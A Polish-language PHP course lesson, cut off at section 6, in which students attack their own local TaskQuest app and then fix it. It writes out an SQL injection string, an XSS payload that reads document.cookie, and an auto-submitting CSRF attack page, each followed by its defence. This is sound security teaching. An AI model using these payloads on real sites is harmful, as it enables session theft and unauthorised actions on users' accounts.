    <title>Bezpieczne logowanie</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .login-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 400px;
            width: 100%;
        }
        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 20px;
            text-align: center;
        }
        .security-info {
            background: #e7f3ff;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin-top: 20px;
            font-size: 12px;
        }
        .security-info h3 {
            margin-bottom: 10px;
        }
        .security-info ul {
            margin-left: 20px;
        }
    </style>
</head>
<body>

<div class="login-container">
    <h1>Bezpieczne logowanie</h1>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <?php foreach ($errors as $error): ?>
                <p><?= htmlspecialchars($error) ?></p>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>
    
    <?php if ($attempts_left > 0 && $attempts_left < 5): ?>
        <div class="warning">
            Pozostało prób: <?= $attempts_left ?>
        </div>
    <?php endif; ?>
    
    <form method="POST">
        <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrf_token) ?>">
        
        <div class="form-group">
            <label>Username:</label>
            <input type="text" 
                   name="username" 
                   value="<?= htmlspecialchars($_POST['username'] ?? '') ?>"
                   required>
        </div>
        
        <div class="form-group">
            <label>Hasło:</label>
            <input type="password" name="password" required>
        </div>
        
        <button type="submit">Zaloguj się</button>
    </form>
    
    <div class="security-info">
        <h3>Zabezpieczenia:</h3>
        <ul>
            <li>CSRF Protection</li>
            <li>Rate Limiting (5 prób / 5 min)</li>
            <li>Password Hashing (bcrypt)</li>
            <li>Prepared Statements</li>
            <li>XSS Protection</li>
            <li>Session Security</li>
            <li>Security Headers</li>
        </ul>
    </div>
</div>

</body>
</html>

Najważniejsze zasady

  • NIE UFAJ DANOM OD UŻYTKOWNIKA – ZAWSZE waliduj i sanityzuj
  • Prepared Statements – jedyna skuteczna ochrona przed SQL Injection
  • htmlspecialchars() – ZAWSZE przy wyświetlaniu danych użytkownika
  • password_hash() – NIGDY plain text haseł
  • Tokeny CSRF – dla wszystkich formularzy zmieniających dane
  • Security Headers – pierwsza linia obrony
  • HTTPS – w produkcji ZAWSZE
  • Rate Limiting – ochrona przed brute force
  • Session Security – regeneruj ID, sprawdzaj fingerprint
  • Keep it simple – prostszy kod = mniej błędów

TaskQuest 2.2 — konta z hasłem i obrona przed atakami

Po Lekcji 21 TaskQuest ma zadania w bazie, XP, serię dni i avatary. Działa, ale jest bardzo łatwy do oszukania. Każdy, kto zna login Kama_2026, wchodzi na konto Kamy bez hasła. Tytuł zadania może być kodem, który wykona się w przeglądarce. Obca strona internetowa może „kliknąć” za gracza przycisk „Usuń”.

Dziś wejdziesz w rolę atakującego i spróbujesz przełamać własną aplikację. Każdy udany atak od razu naprawisz. Na koniec TaskQuest dostanie prawdziwe konta: rejestrację i logowanie z hasłem.

Lekcja 20 jest w tym kursie pomijana. Pracujesz na projekcie w stanie po Lekcji 21.

Cel lekcji

Nauczyć się:

  • rozpoznawać SQL injection i sprawdzać, czy aplikacja jest na nie odporna,
  • rozpoznawać XSS i bronić się przed nim funkcją htmlspecialchars(),
  • rozpoznawać CSRF i bronić się przed nim tokenem w formularzu (random_bytes(), bin2hex(), hash_equals()),
  • bezpiecznie przechowywać hasła (password_hash(), password_verify()),
  • blokować wykonywanie skryptów w katalogu z plikami od użytkowników (.htaccess).

Efekt: nowa strona rejestracja.php, logowanie z hasłem, każdy formularz POST z tokenem, wszystkie dane od użytkownika wyświetlane jako zwykły tekst, katalog avatarów zabezpieczony po stronie serwera.

Uwaga — co jest, a czego jeszcze nie ma:

  • Komunikaty błędów mysqli nadal trafiają do użytkownika (np. nazwy kolumn). Ukryjemy je i zapiszemy do logu w Lekcji 23 (debugowanie i obsługa błędów).
  • Ograniczanie liczby prób logowania, nagłówki bezpieczeństwa, HTTPS i flagi ciasteczka sesji omawiamy tylko krótko w sekcji 3. Część z nich jest w zadaniach końcowych.
  • diagnostyka.php nadal jest publiczna. To narzędzie dla programisty, na serwerze produkcyjnym się go nie zostawia.

Rozgrzewka — 4 pytania z Lekcji 21

  1. Dlaczego TaskQuest nie sprawdza formatu pliku po kluczu $_FILES['avatar']['type']?
  2. Avatar Kamy zapisujemy jako avatar_1_<czas>.png, a nie pod nazwą, którą przysłała przeglądarka. Podaj jeden powód związany z bezpieczeństwem.
  3. Co sprawdza getimagesize(), a czego nie sprawdza?
  4. Formularz avatara ma accept=".jpg,.jpeg,.png,.webp". Czy to chroni aplikację? Dlaczego?

1. Wracamy do naszego TaskQuest

Co zostaje, co dochodzi, co zmieniamy

ElementPo Lekcji 21Po Lekcji 22
zapytania SQLwyłącznie prepared statementsbez zmian — sprawdzimy, że to wystarcza
wyświetlanie danychtekst od użytkownika trafia do HTML bez zmianzmiana: htmlspecialchars() przy wyświetlaniu
includes/funkcje_sesji.php4 funkcjedochodzą pobierzTokenCsrf(), sprawdzTokenCsrf()
formularze POST (7 rodzajów)bez zabezpieczeniadochodzi ukryte pole token_csrf
strony przyjmujące POSTsprawdzają metodędochodzi sprawdzenie tokenu
kolumna uzytkownicy.haslo_hashNULL u wszystkichzmiana: NOT NULL, hash hasła
includes/funkcje_tekstowe.phpwalidujDaneLogowania($login)zmiana: walidujDaneLogowania($login, $haslo); dochodzi walidujDaneRejestracji()
includes/funkcje_bazy.php11 funkcjidochodzą pobierzDaneLogowania(), dodajUzytkownika()
zaloguj.phpsam loginzmiana: login + hasło, wspólny komunikat błędu
rejestracja.phpnie manowy plik
uploads/avatary/.htaccessnie manowy plik: zakaz wykonywania PHP
zadania, „Zrobione!”, usuwanie, avatar, rankingdziałajądziałają tak samo (dochodzi tylko token i escapowanie)

Docelowa struktura projektu

taskquest/
├── index.php                        (zmiana: escapowanie, token w 3 formularzach)
├── rejestracja.php                  NOWY
├── zaloguj.php                      (zmiana: hasło, token, link do rejestracji)
├── wyloguj.php                      (zmiana: sprawdzenie tokenu)
├── dodaj-zadanie.php                (zmiana: token, escapowanie)
├── oznacz-wykonane.php              (zmiana: sprawdzenie tokenu, escapowanie)
├── usun-zadanie.php                 (zmiana: sprawdzenie tokenu, escapowanie)
├── profil.php                       (zmiana: token, escapowanie)
├── diagnostyka.php                  (zmiana: 23 ścieżki)
├── classes/                         bez zmian
├── config/config.php                bez zmian
├── includes/
│   ├── footer.php                   (zmiana: „TaskQuest 2.2”)
│   ├── funkcje_sesji.php            (zmiana: funkcje tokenu)
│   ├── funkcje_tekstowe.php         (zmiana: walidacja logowania i rejestracji)
│   ├── funkcje_bazy.php             (zmiana: 2 nowe funkcje)
│   └── ... pozostałe                bez zmian
├── sql/taskquest.sql                (zmiana: haslo_hash NOT NULL, hashe kont testowych)
└── uploads/avatary/
    └── .htaccess                    NOWY

Przygotowanie (zrób to teraz)

  1. Zrób kopię zapasową katalogu taskquest/ jako taskquest_lekcja21/ (obok, nie w środku).
  2. Uruchom w XAMPP Apache i MySQL.
  3. Przygotuj dwie przeglądarki, np. Chrome i Firefox. Do ataku CSRF (sekcja 5) będzie potrzebny Firefox. Wyjaśnienie znajdziesz w sekcji 5.
  4. Zaloguj się jako Kama i sprawdź, że lista zadań, „Zrobione!”, „Usuń” i avatar działają.

2. Problem w aplikacji

Wyobraź sobie, że TaskQuest trafia do całej szkoły. Oto cztery rzeczy, które ktoś może zrobić już dziś:

  1. Wejść na cudze konto. Wystarczy wpisać login Kama_2026. Loginy widać w rankingu.
  2. Wstrzyknąć kod do strony. Tytuł zadania <b>PHP</b> wyświetla się pogrubiony (Eksperyment 5 z Lekcji 13). Skoro przechodzi <b>, przejdzie też <script>.
  3. Kazać przeglądarce gracza wysłać formularz. Obca strona może wysłać do TaskQuest formularz „Usuń”. Przeglądarka dołączy do niego ciasteczko sesji gracza, a TaskQuest uzna, że to on kliknął.
  4. Podrzucić skrypt do katalogu avatarów. Walidacja w profil.php na to nie pozwala, ale plik może trafić do uploads/ inną drogą, np. przez błąd w kodzie.

Plan lekcji:

SQL injection   → sprawdzamy, że TaskQuest jest odporny (bez zmian w kodzie)
XSS             → htmlspecialchars() przy wyświetlaniu
CSRF            → token w każdym formularzu POST
konta z hasłem  → password_hash(), password_verify(), rejestracja
katalog uploads → .htaccess

Kolejność nie jest przypadkowa. Najpierw zabezpieczasz formularze, które już istnieją. Nowy formularz rejestracji napiszesz na końcu, od razu bezpiecznie.

3. Atak 1: SQL injection

3.1 Na czym polega atak

SQL injection (wstrzyknięcie SQL) zdarza się, gdy program skleja zapytanie z tekstem od użytkownika. Wtedy użytkownik może wpisać nie tylko dane, ale też fragment polecenia SQL.

Sprawdź to w brudnopisie. Utwórz w katalogu projektu plik brudnopis.php:

<?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
$login = "' OR '1'='1";   // „login” wpisany przez atakującego

// ŹLE: dane sklejone z zapytaniem
$sql = "SELECT id, login FROM uzytkownicy WHERE login = '$login'";
echo '<p>Zapytanie: ' . $sql . '</p>';

$wynik = $polaczenie->query($sql);
$wiersz = $wynik->fetch_assoc();

if ($wiersz === null) {
    echo '<p>Nie znaleziono nikogo.</p>';
} else {
    echo '<p>Znaleziono: ' . $wiersz['login'] . '</p>';
}

Otwórz http://localhost/taskquest/brudnopis.php. Zobaczysz zapytanie:

SELECT id, login FROM uzytkownicy WHERE login = '' OR '1'='1'

Apostrof z „loginu” zamknął tekst w SQL, a reszta stała się warunkiem. '1'='1' jest zawsze prawdą, więc zapytanie zwraca wszystkich użytkowników, a program bierze pierwszego, czyli Kamę. Gdyby tak działało logowanie, atakujący wszedłby na konto Kamy bez znajomości loginu i hasła.

$polaczenie->query() wykonuje zapytanie bez prepared statement. W TaskQuest go nie używamy. Tutaj pojawia się wyłącznie po to, żeby pokazać atak.

3.2 SAMODZIELNIE

Pod kodem z 3.1 dopisz w brudnopisie to samo wyszukiwanie napisane tak jak w TaskQuest: przez prepared statement, z tym samym $login. Wypisz „Znaleziono: …” albo „Nie znaleziono nikogo.”

Oczekiwany wynik: wersja sklejana znajduje Kamę, a prepared statement nie znajduje nikogo.

HINT

Schemat znasz z Lekcji 18: prepare() ze znakiem ?, potem bind_param(), execute(), get_result().

POMOC
$zapytanie = $polaczenie->prepare('SELECT id, login FROM uzytkownicy WHERE login = ?');
$zapytanie->bind_param(...);
// ...
ROZWIĄZANIE
$zapytanie = $polaczenie->prepare('SELECT id, login FROM uzytkownicy WHERE login = ?');
$zapytanie->bind_param('s', $login);
$zapytanie->execute();
$wiersz = $zapytanie->get_result()->fetch_assoc();

if ($wiersz === null) {
    echo '<p>Prepared statement: nie znaleziono nikogo.</p>';
} else {
    echo '<p>Prepared statement: znaleziono ' . $wiersz['login'] . '</p>';
}

Dlaczego to działa? Przy prepared statement baza najpierw dostaje samo polecenie z ?, a dane przychodzą osobno. Baza wie, że wszystko w ? to wartość, a nie fragment polecenia. Dlatego szuka użytkownika o loginie dosłownie ' OR '1'='1. Takiego nie ma.

Sprawdź jeszcze w wersji sklejanej login Kama_2026' -- (ze spacją na końcu). -- rozpoczyna w SQL komentarz, więc reszta zapytania zostaje wyłączona.

3.3 Audyt TaskQuest

Od tego miejsca pracujesz w projekcie (brudnopis zostaw, przyda się w sekcji 6).

W VS Code otwórz wyszukiwanie we wszystkich plikach (Ctrl+Shift+F) i sprawdź:

  1. ->query( — poza brudnopis.php nie powinno być ani jednego wyniku.
  2. prepare( — obejrzyj każde zapytanie. Czy w tekście SQL jest gdziekolwiek zmienna ($...)? Nie powinno jej być. Dane mogą trafiać do zapytania wyłącznie przez ? i bind_param().

Jeśli wszystko się zgadza, TaskQuest jest odporny na SQL injection od Lekcji 18 i nic nie zmieniasz. Wniosek na przyszłość: jedna sklejona linijka wystarczy, żeby ochrona przestała działać. Dlatego reguła z L18 (każde zapytanie przez prepared statement, także takie, w którym „dane są przecież bezpieczne”) nie ma wyjątków.

Materiał źródłowy pokazuje też ataki typu '; DROP TABLE users; --. Metoda query() w mysqli wykonuje tylko jedno polecenie, więc ten atak w naszej wersji skończy się błędem składni. Nie traktuj tego jako ochrony: inne funkcje i sterowniki potrafią wykonać kilka poleceń naraz.

3.4 Czego dziś nie robimy (krótko)

Materiał źródłowy opisuje jeszcze kilka zabezpieczeń. W tej lekcji tylko je nazywamy:

  • ograniczanie prób logowania (rate limiting), czyli blokada po kilku nieudanych próbach — zadanie końcowe C,
  • nagłówki bezpieczeństwa, np. X-Frame-Options, X-Content-Type-Options — zadanie końcowe D,
  • flagi ciasteczka sesji HttpOnly i SameSite — zadanie końcowe B,
  • HTTPS — szyfrowanie połączenia ustawia się na serwerze, nie w kodzie PHP. XAMPP na lekcji działa bez niego. Bez HTTPS hasło z formularza leci przez sieć jawnym tekstem.

4. Atak 2: XSS

4.1 Na czym polega atak

XSS (cross-site scripting) zdarza się, gdy tekst od użytkownika trafia do HTML bez zmian. Przeglądarka nie wie, że to „tylko tytuł zadania”. Jeśli tekst wygląda jak znacznik, wykona go jak znacznik.

Zaatakuj TaskQuest. Na koncie Kamy dodaj zadanie o tytule:

<img src="x" onerror="alert(document.cookie)">

Termin dowolny, XP 10. Po powrocie na listę wyskoczy okienko z tekstem PHPSESSID=.... To identyfikator Twojej sesji, czyli dokładnie to, co w Eksperymencie 5 Lekcji 14 skopiowałaś/skopiowałeś do innej przeglądarki, żeby przejąć sesję. Tu skrypt tylko pokazał go w okienku. Prawdziwy atakujący wysłałby go na swój serwer.

Obrazek x nie istnieje, więc przeglądarka wywołuje onerror, czyli kod JavaScript. Samo <script> w tytule też zadziała, ale wariant z <img> jest krótszy i działa w większej liczbie miejsc.

„Przecież to moje zadanie, sama/sam sobie szkodzę” — na razie tak. W sekcji 5 zobaczysz, jak obca strona wstawia takie zadanie na listę innego gracza.

Usuń to zadanie przyciskiem „Usuń”.

4.2 Nowy mechanizm: htmlspecialchars()

htmlspecialchars() zamienia znaki, które mają w HTML specjalne znaczenie, na encje, czyli zapis „pokaż ten znak jako tekst”:

ZnakEncja
<&lt;
>&gt;
&&amp;
"&quot;
'&#039;

W brudnopisie brudnopis2.php:

<?php

$tytul = "<b>PHP</b> i \"cudzysłów\"";

echo '<p>Bez ochrony: ' . $tytul . '</p>';
echo '<p>Z ochroną: ' . htmlspecialchars($tytul) . '</p>';

W przeglądarce pierwszy tytuł jest pogrubiony, a drugi wyświetla się dosłownie ze znacznikami. Włącz „Pokaż źródło strony” (Ctrl+U) i zobacz, co naprawdę wysłał PHP: &lt;b&gt;PHP&lt;/b&gt;.

Od PHP 8.1 samo htmlspecialchars($tekst) zamienia oba rodzaje cudzysłowów i poprawnie traktuje polskie znaki (UTF-8). Dodatkowe parametry, które widać w starszych materiałach (ENT_QUOTES, 'UTF-8'), nie są już potrzebne.

Reguła TaskQuest

Każdy tekst, który trafia do HTML, a nie został w całości napisany w naszym kodzie (przyszedł z formularza, bazy, ciasteczka, adresu albo z komunikatu wyjątku), przepuszczamy przez htmlspecialchars() w momencie wyświetlania.

Z tej reguły wynikają trzy rzeczy:

  • Nie escapujemy liczb typu int (id, XP, streak, poziom) ani tekstów wpisanych w kod ($nazwaStrony, komunikaty z ustawKomunikat(), komunikaty z walidujNoweZadanie()).
  • Nie escapujemy przed zapisem do bazy. Baza przechowuje to, co wpisał gracz. Escapowanie to sprawa HTML, a te same dane mogą kiedyś trafić gdzie indziej (np. do pliku CSV albo aplikacji mobilnej). Co się dzieje, gdy escapuje się dwa razy, pokaże Eksperyment 3.
  • Escapujemy na samym końcu, po wszystkich innych zmianach tekstu (wyczyscTytul(), skrocOpis(), mb_substr()). Dlaczego kolejność ma znaczenie, pokaże Eksperyment 2.

Typowe błędy

  • Escapowanie w getterze (pobierzTytul() zwraca już &lt;...) — obiekt przestaje przechowywać prawdziwe dane, a każde inne użycie (porównanie, długość, zapis) dostaje encje.
  • Escapowanie tylko treści między znacznikami, a pominięcie atrybutów value="...". Cudzysłów w danych „urywa” atrybut (Eksperyment 5 z L13).
  • Założenie, że skoro login przeszedł walidujLogin(), to każdy login w bazie jest bezpieczny. Do bazy można wpisać dane z pominięciem formularza (phpMyAdmin, inny program, przyszły błąd). Escapowanie przy wyświetlaniu nic nie kosztuje.

4.3 SAMODZIELNIE — audyt wyświetlania

W plikach index.php, dodaj-zadanie.php, zaloguj.php, profil.php, oznacz-wykonane.php, usun-zadanie.php znajdź każde miejsce, w którym do HTML trafia wartość. Przy każdym zdecyduj, czy wymaga htmlspecialchars(), i popraw te, które wymagają.

Sposób sprawdzenia: dodaj zadanie z tytułem <img src="x" onerror="alert(1)"> i opisem <b>pogrubione?</b>. Na liście nie wyskakuje okienko, a tytuł i opis widać dosłownie ze znacznikami. Działa też „najpilniejsze zadanie”.

HINT

Szukaj <?= i echo. Przy każdym zadaj pytanie: „czy tę wartość w całości napisałam/napisałem w kodzie? Czy to na pewno int?”. W index.php jest takich miejsc ponad 10 (łącznie z rankingiem, powitaniem i literą avatara). Nie zapomnij o atrybutach value i o <textarea> w dodaj-zadanie.php.

POMOC

Wywołanie obejmuje wynik wszystkich innych funkcji:

<?= htmlspecialchars(skrocOpis($zadanie->pobierzOpis())); ?>

Komunikat wyjątku też jest tekstem spoza kodu. Może zawierać fragment danych albo zapytania:

<?= htmlspecialchars($bladZapisu); ?>
ROZWIĄZANIE
PlikMiejsceEscapujemy?
index.phpramka awarii bazy: $bladBazytak
index.phplitera avatara: mb_substr($uzytkownik->pobierzImie(), 0, 1)tak (cały wynik mb_substr)
index.phpsrc avatara: KATALOG_AVATAROW . '/' . $uzytkownik->pobierzAvatar()tak (nazwa pliku pochodzi z bazy)
index.php„Witaj, …!”: $uzytkownik->pobierzImie()tak
index.php„Zalogowano jako …”: $uzytkownik->pobierzLogin()tak
index.phptytuł najpilniejszego zadaniatak (po wyczyscTytul())
index.phpw pętli listy: $tytulCzysty, skrócony opis, termintak (tytuł i opis po czyszczeniu i skracaniu)
index.phpranking: $gracz['login']tak
index.php$komunikat, $filtr, XP, poziom, streak, id w ukrytych polach, $liczba..., komunikat terminunie — tekst z kodu, wartość zawężona do listy albo int
dodaj-zadanie.phpvalue tytułu, value terminu, value XP, treść <textarea>tak (to tekst wpisany przez użytkownika, jeszcze przed walidacją)
dodaj-zadanie.php$bladZapisutak
dodaj-zadanie.php$blad w liście błędównie — komunikaty z walidujNoweZadanie() są wpisane w kod
zaloguj.phpvalue loginu, $bladBazytak
profil.php$bladZapisutak
oznacz-wykonane.php, usun-zadanie.phpkomunikat wyjątku w ramce awariitak

Przykład dla dodaj-zadanie.php (atrybut value):

<input type="text" id="tytul" name="tytul" maxlength="100" value="<?= htmlspecialchars($tytulZadania); ?>" required>

Przykład dla pętli listy w index.php: w miejscu, w którym wyświetlasz $tytulCzysty, zamień <?= $tytulCzysty; ?> na <?= htmlspecialchars($tytulCzysty); ?>. Termin ($zadanie->pobierzTermin()) formalnie nie wymaga escapowania, bo kolumna DATE przechowuje tylko cyfry i myślniki (pytanie kontrolne 3). Escapujemy go mimo to, żeby w pętli listy nie było wyjątków od reguły.

$zadanie->pobierzTytul() nadal zwraca surowy tytuł. Zmieniło się tylko to, jak go wyświetlamy.

5. Atak 3: CSRF

5.1 Na czym polega atak

CSRF (cross-site request forgery) to podrobione żądanie z innej strony. Przeglądarka dołącza ciasteczka TaskQuest do każdego żądania wysłanego do TaskQuest, także takiego, które wysłała cudza strona. PHP widzi poprawną sesję Kamy i wykonuje polecenie, choć Kama niczego nie kliknęła.

Właśnie dlatego od Lekcji 13 zmiany danych wykonujemy wyłącznie przez POST. Link GET (usun-zadanie.php?id=5) dałoby się uruchomić nawet obrazkiem na forum. POST wymaga formularza, ale formularz też można podrobić.

Zaatakuj TaskQuest. Utwórz plik atak.html poza katalogiem htdocs, np. na pulpicie. To „obca strona”, np. link wysłany graczowi z obietnicą darmowych punktów:

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Darmowe XP!</title>
</head>
<body>
    <h1>Odbierz darmowe 1000 XP!</h1>

    <form id="atak" method="post" action="http://localhost/taskquest/dodaj-zadanie.php">
        <input type="hidden" name="tytul" value='<img src="x" onerror="alert(document.cookie)">'>
        <input type="hidden" name="opis" value="">
        <input type="hidden" name="termin" value="2026-12-31">
        <input type="hidden" name="xp" value="100">
    </form>

    <script>
        document.getElementById('atak').submit();
    </script>
</body>
</html>

(Jeśli Twój projekt leży pod innym adresem niż localhost/taskquest, popraw action.)

  1. W Firefoksie zaloguj się jako Kama.
  2. W tym samym Firefoksie otwórz atak.html (przeciągnij plik do okna przeglądarki).
  3. Strona sama wysyła formularz. Lądujesz na liście zadań Kamy, a na liście jest nowe zadanie, którego Kama nie dodawała.

Tytuł zadania to kod ataku XSS. Po naprawie z sekcji 4 wyświetla się jako zwykły tekst. Bez tej naprawy w tym momencie wyskoczyłoby okienko z ciasteczkiem sesji Kamy: obca strona wstawia skrypt, a skrypt wykrada sesję. Tak łączą się oba ataki.

Usuń podrzucone zadanie.

Dlaczego Firefox? Chrome i Edge traktują ciasteczko bez ustawienia SameSite tak, jakby miało SameSite=Lax. Takie ciasteczko nie jest dołączane do formularza POST wysłanego z innej strony, z jednym wyjątkiem: przez 2 minuty od ustawienia ciasteczka. W Chrome atak zadziała więc tylko tuż po zalogowaniu. Firefox i Safari domyślnie tak nie robią. Zachowanie przeglądarek się zmienia, a starsze przeglądarki nie mają tej ochrony wcale. Dlatego aplikacja nie może na nią liczyć i musi bronić się sama.

5.2 Nowy mechanizm: token CSRF

Pomysł jest prosty. Przy każdym formularzu TaskQuest dołącza ukryte pole z losowym, długim tekstem: tokenem. Ten sam token jest zapisany w sesji gracza. Po wysłaniu formularza PHP porównuje oba. Zgadzają się, więc formularz pochodzi z TaskQuest. Nie zgadzają się albo tokenu nie ma, więc formularz jest odrzucany.

Obca strona nie zna tokenu. Nie może go odgadnąć, bo jest losowy i długi. Nie może też go odczytać, bo przeglądarka nie pozwala skryptom jednej strony czytać zawartości innej strony (zasada tego samego pochodzenia, same-origin policy).

Potrzebne funkcje (brudnopis brudnopis2.php, pod poprzednim kodem):

$token = bin2hex(random_bytes(32));
echo '<p>Token: ' . $token . '</p>';

var_dump(hash_equals($token, $token));
var_dump(hash_equals($token, 'zgaduje'));
  • random_bytes(32) zwraca 32 losowe bajty z generatora przeznaczonego do zabezpieczeń. rand(), mt_rand() czy uniqid() się do tego nie nadają, bo ich wyniki da się przewidzieć.
  • bin2hex() zamienia bajty na tekst z cyframi 0–9 i literami a–f. 32 bajty dają 64 znaki. Taki tekst bezpiecznie wstawisz do HTML, nawet bez htmlspecialchars().
  • hash_equals($znany, $podany) porównuje dwa teksty. Działa jak ===, ale zawsze sprawdza wszystkie znaki. === kończy przy pierwszej różnicy, więc z czasu odpowiedzi dałoby się zgadywać token znak po znaku.

Odśwież brudnopis kilka razy. Token za każdym razem jest inny.

Decyzja TaskQuest: jeden token na sesję. Powstaje przy pierwszym formularzu i obowiązuje do wylogowania. Token osobny dla każdego formularza jest trochę bezpieczniejszy, ale psuje pracę w kilku kartach naraz.

5.3 SAMODZIELNIE — funkcje tokenu

Na końcu pliku includes/funkcje_sesji.php dopisz dwie funkcje:

  1. pobierzTokenCsrf(): string — jeśli w sesji nie ma jeszcze klucza 'token_csrf', zapisuje tam nowy token (64 znaki, jak w brudnopisie). Zwraca token z sesji.
  2. sprawdzTokenCsrf(): bool — odczytuje $_POST['token_csrf'] (brak pola traktuje jak pusty tekst). Zwraca true tylko wtedy, gdy w sesji jest token i jest on równy tokenowi z formularza.

Tak jak pozostałe funkcje w tym pliku, obie korzystają z $_SESSION, ale jej nie uruchamiają.

Sprawdź w brudnopisie (z session_start() na początku i require_once pliku funkcje_sesji.php):

SytuacjaOczekiwany wynik sprawdzTokenCsrf()
brak tokenu w sesji, brak pola w $_POSTfalse
$_POST['token_csrf'] = pobierzTokenCsrf();true
$_POST['token_csrf'] = 'abc';false
HINT

Pułapka jest w pierwszej sytuacji. W sesji nie ma tokenu (np. sesja wygasła), więc $_SESSION['token_csrf'] nie istnieje. PHP wypisze ostrzeżenie, a hash_equals() dostanie null i przerwie skrypt błędem TypeError. Samo porównanie nie wystarczy. Najpierw sprawdź, czy token w sesji w ogóle istnieje (isset()).

POMOC
function sprawdzTokenCsrf(): bool
{
    $tokenZFormularza = $_POST['token_csrf'] ?? '';

    if (/* w sesji nie ma tokenu */ || !is_string($tokenZFormularza)) {
        return false;
    }

    return hash_equals(...);
}

is_string() chroni przed przesłaniem pola jako tablicy (token_csrf[]=...). hash_equals() dostałaby wtedy tablicę i przerwałaby skrypt błędem TypeError.

ROZWIĄZANIE
function pobierzTokenCsrf(): string
{
    if (!isset($_SESSION['token_csrf'])) {
        $_SESSION['token_csrf'] = bin2hex(random_bytes(32));
    }

    return $_SESSION['token_csrf'];
}

function sprawdzTokenCsrf(): bool
{
    $tokenZFormularza = $_POST['token_csrf'] ?? '';

    if (!isset($_SESSION['token_csrf']) || !is_string($tokenZFormularza)) {
        return false;
    }

    return hash_equals($_SESSION['token_csrf'], $tokenZFormularza);
}

5.4 Włączamy token do TaskQuest

Krok 1 — token w formularzach

Na każdej stronie z formularzem POST, tuż przed linią $nazwaStrony = ..., dodaj:

$tokenCsrf = pobierzTokenCsrf();

W index.php wstaw tę linię pod blokiem komunikatu jednorazowego ($komunikat = pobierzKomunikat();), z komentarzem // --- token CSRF do formularzy na stronie ---.

Następnie w każdym formularzu POST, zaraz po otwierającym <form ...>, dodaj ukryte pole token_csrf z wartością $tokenCsrf (wzór ukrytego pola znasz z przycisków „Zrobione!” i „Usuń”):

PlikFormularze
index.php„Zrobione!”, „Usuń” (w pętli, przy każdym zadaniu), „Wyloguj”
dodaj-zadanie.phpformularz nowego zadania
profil.phpformularz avatara
zaloguj.phpzrobisz w sekcji 6

Sprawdzenie: na liście zadań otwórz źródło strony (Ctrl+U). Każdy formularz ma pole token_csrf i ta sama wartość powtarza się we wszystkich.

Krok 2 — sprawdzanie tokenu

Są dwa rodzaje stron przyjmujących POST, więc są dwa sposoby reagowania na zły token.

Strona z formularzem (dodaj-zadanie.php, później zaloguj.php i rejestracja.php) pokazuje formularz jeszcze raz z komunikatem na liście $bledy. W bloku if ($_SERVER['REQUEST_METHOD'] === 'POST'), po odczycie pól, linię z walidacją ($bledy = walidujNoweZadanie(...);) umieść w gałęzi else:

jeśli token jest zły → do $bledy dopisz 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.'
w przeciwnym razie   → dotychczasowa walidacja

Dalsza część (if ($bledy === []) { ... zapis ... }) zostaje bez zmian. Pola zachowują wpisane dane, więc gracz musi tylko kliknąć jeszcze raz.

Strona akcji (oznacz-wykonane.php, usun-zadanie.php) nie ma HTML. Zaraz po sprawdzeniu, że metoda to POST, a przed odczytem id, dodaj:

jeśli token jest zły → ustawKomunikat('Nie udało się wykonać akcji. Spróbuj jeszcze raz.'),
                       przekierowanie na index.php, exit

Najpierw token, dopiero potem dane z formularza. Żądanie spoza TaskQuest odrzucamy, zanim cokolwiek z nim zrobimy.

wyloguj.php — to też strona akcji, ale do tej pory nie dołączała żadnego pliku. Dodaj pod session_start(); dołączenie includes/funkcje_sesji.php. Przy złym tokenie przekieruj na index.php bez wylogowania i bez komunikatu.

profil.php — uwaga na kolejność. Gdy plik przekroczy post_max_size, PHP odrzuca całe żądanie: puste jest wtedy nie tylko $_FILES, ale też $_POST, więc tokenu też nie ma. Gdyby token był sprawdzany jako pierwszy, gracz z za dużym plikiem zobaczyłby mylący komunikat o wygasłym formularzu. Kolejność w profil.php:

$plik === null        → 'Plik jest za duży albo nie został wysłany.'   (jak w L21)
w przeciwnym razie, jeśli token jest zły → komunikat o wygasłym formularzu
w przeciwnym razie    → walidujAvatar($plik)

Pełne wersje: sekcja 11 (wyloguj.php i profil.php w całości, pozostałe pliki opisane miejscami zmian).

Krok 3 — sprawdzenie

  1. Normalna praca: dodaj zadanie, oznacz je jako zrobione, usuń je, zmień avatar, wyloguj się i zaloguj ponownie (logowanie jeszcze bez tokenu). Wszystko działa jak przed lekcją.
  2. Atak: zaloguj się w Firefoksie jako Kama i otwórz atak.html. Tym razem widzisz formularz „Nowe zadanie” z komunikatem „Formularz wygasł albo nie pochodzi z TaskQuest…”. Zadanie nie zostało dodane.

Dodatkowy efekt: token obowiązuje tylko w jednej sesji. Formularz otwarty przed wylogowaniem i wysłany po ponownym zalogowaniu też zostanie odrzucony. To zamierzone.

6. Atak 4: wejście na cudze konto — hasła

6.1 Problem

